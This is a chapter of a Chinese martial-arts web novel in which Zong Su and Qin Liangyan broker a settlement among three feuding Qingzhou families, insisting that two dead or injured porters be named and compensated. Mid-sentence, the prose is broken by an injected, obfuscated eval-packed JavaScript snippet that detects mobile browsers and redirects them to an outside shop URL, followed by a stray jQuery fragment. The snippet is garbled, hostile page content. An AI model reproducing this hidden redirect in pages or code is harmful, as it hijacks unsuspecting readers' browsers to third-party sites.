青州三家到宗宅时,正是午后。
三辆马车先后停在门前。三家人下车后,彼此看了一眼,都没有立刻进门。
宗宅门开着,门里站着管事。管事奉命迎客,神色周到,只是看着门口那三拨人时,心里大约也明白,这不是来做客,倒像是把青州水市那一段吵声连车带人运到了宗家门前。
宗溯到前院时,秦梁燕已经在廊下。
她今日没有坐得东倒西歪,只抱着手臂看门口。陆、魏、许三家人一进来,先看见宗溯,又看见她,神色都微微一变。
三家都知道秦梁燕在宗宅,却未必真想在这里见到她。
青州水市原本由三家共管。
陆家管仓棚,魏家管船道,许家管账册。旧日正道盟还在时,三家虽有龃龉,面上仍按旧约办事。祝观澜一倒,旧盟散了,旧约也被各家重新翻出来。
陆家说这三年水患频仍,西面仓棚全靠陆家修护,钥匙自然该由陆家收着。
魏家说西棚连着船道,陆家扣仓,便是卡住魏家水路。
许家则拿出账,说西棚收益三年不平,银钱短缺,谁也不能只凭一张嘴说自己受了亏。
争了半月,先是封仓,后是拦船,再后来有人请外援入城。昨日夜里动手,死了六人,伤者十余,其中还有两个只是搬货讨生活的短工。
这便是青州信里写得含蓄的“水市生乱”。
宗溯坐在主位,没有摆宗家旧谱,也没有请出什么旧盟规矩。
秦梁燕坐在他侧后方一些。
这个位置很微妙,说是客位,却离主位太近。说是同席,又偏偏没有越过宗溯。三家人看见她坐在那里,一时都没有说话。
秦梁燕也不解释,只把袖口理了理,像是今日不过来听个闲话。
宗溯等三家坐定,才道:“今日只议青州水市,不议旧盟。”
魏临川先开口,他说话不急,声音也好听,先向宗溯道谢,又说:“青州三家原本同气连枝,只是一时误会,闹到如今,皆非所愿。如今诸方都还信宗家,宗家若肯依旧约出面,青州自然愿听。”
它听起来是在请宗家主持公道,实际已经把宗溯往旧盟的位置上推了一步。
宗溯还没有说话,秦梁燕先看了魏临川一眼。
“魏公子这话说得毫无破绽。”她道,“听不出是谁封了仓,谁拦了船,谁请了外援。”
魏临川脸上的笑微微一停。
秦梁燕没有继续逼他,只端起茶盏,慢慢道:“宗家今日开的是宅门,不是旧盟衙门。你们来谈事,就说事。想来来请牌位,就走错地方了。”
宗溯接着道:“今日只议三件事。第一,死伤如何赔。第二,西面仓棚如何管。第三,船道和账册如何核。三件事说完,再谈旁的。”
陆承皱眉道:“不先定谁是谁非,如何谈赔?”
宗溯看向他:“谁是谁非,今日说不完。谁死了,谁伤了,仓棚是谁占的,船道是谁拦的,账册差在哪里,今日可以先说清。”
话一出口,就把三家预备好的许多场面话都拦在了门外。
许七娘把木匣推到案上,取出三本账册,道:“那我先说。西棚是三家共修,旧约写得明白,收益均分。可自三年前水患后,陆家以修缮为名收了钥匙,仓中进出货物由陆家说了算。许家账面少了一千三百二十两,账上记的明明白白。”
陆承听到这里,脸色更沉。他没有立刻发作,只把随从带来的册子摊开:“西棚若无人修,早被水冲走了。陆家这三年添木、补瓦、守夜,件件都有记录。七娘只看见账上少了银子,看不见我陆家填了多少人力。”
魏临川笑了一声,把魏家的船道图摊在两本账册之间:“既然两位说仓,那我魏家就说一说水道。西棚连着西船道,陆家封仓之后,船道跟着堵了三日。清淤、改道、误船,这些都是魏家承担。许家说短银,陆家说修仓,魏家被夹在中间,也不是白白受着。”
三家把话一说开,偏厅里便有了实处。
宗溯让人把三份账册和船道图分开放。陆家修棚的支出,许家短缺的收益,魏家清船道的费用,各归一处。
三家起初还想往旧约上绕,绕了两次,宗溯只问凭据。
第三次时,魏临川又提起“旧盟在时,三家本有章法”,秦梁燕便把茶盏放下了。
她冷笑道:“旧盟若真有章法,今日这三辆马车就不会停在宗家门口。”
这一句之后,偏厅里便少了“旧盟”“大义”“多年情分”这些话。
秦梁燕从前听这些正道纷争,多半听到一半就嫌烦。今日倒还坐得住。因为宗溯没有站起来替谁讲道理,也没有摆出一副“宗氏要为江湖主持公道”的样子。
他只让三家把事情摆上桌。
摆上桌以后,许多话就没那么好听了。
陆家确实修了仓,也确实把钥匙扣得太死。
魏家也清了船道,但趁船道不便多收过一笔急渡费。
许家账册最齐,却有一季账目涂改过,账房去年换人,此处也说不干净。
三家都不干净。
偏厅里那股劲松了一些。原先人人都要装成受害的一方,装得久了,连坐姿都硬。等到各自短处被摆出来,脸上虽然不好看,话却能往下说了。
谈到死人时,屋里安静了许多。
青州那夜死了六人。陆家两人,魏家三人,许家一人。另有两个搬货短工,一个死,一个重伤。他们不属三家,只是在水市做活,谁给工钱便替谁搬货,连三家的旧约是什么都未必知道。
许七娘先道:“这两人,三家先赔。”
秦梁燕看向案上的文书:“他们叫什么?”
陆承皱眉,回头看随从。随从愣了一下,没有答上来。
魏临川翻了翻随身名册,道:“死的那个,似乎姓郑。”
许七娘抬眼:“不是似乎。叫郑阿满,青州南巷人,家里有老母和一个妹妹。重伤那个叫孙平,住在水市东棚后头,妻子怀着孩子。”
秦梁燕道:“那就写上。”
魏临川脸色微僵:“秦少主,赔偿已定,姓名住处自然会另行查明。”
秦梁燕笑了一声,“你们写旧约时,一条水道能写三页纸。轮到两个替你们搬货的人,就只剩‘短工二人’四个字了?”
宗溯把文书推回案中:“是得写上。姓名,住处,家属,赔偿送到何人手里,何日送达,由谁见证,都要写清楚。”
许七娘先提笔,写到孙平妻子时,又补了一句:医药钱另列,不得以赔偿抵扣。
陆承看了那行字一会儿,也坐回去,添上陆家送银的人名。
魏临川把魏家负责送医问药的管事写上,末了又添一句:“三日内先送头一笔银,余下十日内清。”
这一添,文书比方才多了半页。
多出来的半页不好看,也不体面。上面没有江湖大义,只有两个寻常人的名字,几处住址,几个必须去送钱、送药、作证的人。
秦梁燕看着那半页纸,神色淡了些。
宗溯也看着。
他想起从前正道盟那些帖子,写得光明正大,写得满纸风骨,却常常看不见这样的人名。仿佛人一旦被卷进江湖争端里,便只剩“死伤若干”“误伤数人”“另行抚恤”。
可郑阿满不是“若干”,孙平也不是“数人”。
他们有名有姓,有住处,有家人,也有一笔不能被三家互相推来推去的账。
事情到这里,便有了第一条结果:两个短工的死伤,三家先赔,三日内送到家属手里,由宗家派人见证。三家门人死伤另列,依当夜先动手、后请援、误伤等情形再分赔偿,不得再以此为由私下寻仇。
第二条,是西棚。
西面仓棚仍归三家共管。陆家继续修缮,却不得独收钥匙。三把钥匙
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17617921|203213||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
分存三家,开仓须两家在场。修缮所用木料、人工,每月列清,不得再由陆家一口定价。
第三条,是船道。
魏家仍管西船道,清淤由魏家负责,但船费不得私涨。若因仓棚封存影响船行,三家须同日商定,不得一家自行拦船。
第四条,是账册。
许家继续管总账,但每季须由三家共同核看,签字后入册。前三年短缺的一千三百二十两,先不在今日硬断,由三家各自补交凭据,十日后再核。
第五条,是外援。
青州水市之事,三家不得再请外人入城助阵。谁再请外援,视为先毁今日之约,其余两家可共同封其水市份额,宗家只作见证,不替毁约者说情。
这五条写成文书时,天色已经暗下来,偏厅里灯被点起,他们依次签字。
许七娘签得最快。她签完以后,抬头看了宗溯一眼:“宗家主今日没有判输赢。”
宗溯道:“这本也不是我该判的。我把桌子给你们了,日后坐不坐,是你们自己的事。”
许七娘又看向秦梁燕。
秦梁燕道:“看我做什么?账册是你自己带来的。”
许七娘笑了一下,向她一礼。
青州三家离开时,已经入夜。
他们来时彼此抢先,走时倒没有再争。陆家的车先行,魏家的车让了半步,许家的车最后出巷。三家随从仍互相看不顺眼,但总算没人再斗嘴拔刀。
宗宅门前安静下来。
偏厅里留下一桌纸笔和几盏冷茶。管事带人收拾文书,楼问津站在门口,看了半晌,才道:“原来这就算谈完了?”
秦梁燕道:“不然还要敲锣送他们?”
楼问津摸了摸鼻子:“我只是觉得,不够像江湖大事。”
秦梁燕道:“江湖大事多半就是这样。真摊开看,不是欠钱,就是占地,再不然就是谁先动的手。非要写得光风霁月,才像旧正道盟的毛病。”
楼问津想了想,觉得不能反驳,便去帮管事收纸。
宗溯站在廊下,看着宗宅门前空下来的青石路。
秦梁燕走到他身边,问:“今日这事,算完了吗?”
宗溯道:“没有。青州三家心里都不痛快,回去之后还会互相盯着。”
秦梁燕道:“这才正常。要是他们出了宗家门便抱头痛哭、从此义结金兰,我倒要怀疑他们在你茶里下了药。”
宗溯看向她。
秦梁燕道:“不过你们宗家茶清得跟水似的,下没下药一喝就知道。”
宗溯低声笑了一下。
他低头看了一眼手里的文书。
这张文书没有旧盟的体面,也没有宗家清名的风骨。它写得琐碎,甚至有些难看。可上头每一条都对着一桩真事。死了的人,短缺的银子,被扣的钥匙,被拦的船道,都没有被几句漂亮话盖过去。
宗溯忽然觉得,这样也很好。
碑立得再正,也挡不住水市夜里的刀。桌子摆得不雅,倒还能让几个不肯低头的人坐下来,把账一笔一笔说清。
院中灯火渐起。宗宅开门不过数日,门前已经来过贺客,来过急信,也来过一场差点从青州烧到此处的争端。它没有因此变成新的正道盟府,也没有关门避事。
夜风从门外吹进来,带着一点水汽。
青州水市的事没有真正结束。可宗溯知道,从这一夜起,有些旧路已经不必再走了。
他不会再替江湖写碑文。
他可以给他们一张桌子。
秦梁燕站在他身边,忽然道:“宗溯。”
宗溯侧头。
她望着门外空下来的路,声音不高:“你今日这张桌子,摆得凑合。”
宗溯道:“只是凑合?”
秦梁燕转身往偏厅里走:“我夸人,从来是惜字如金。”
宗溯站在廊下,看着她的背影,笑着跟上去。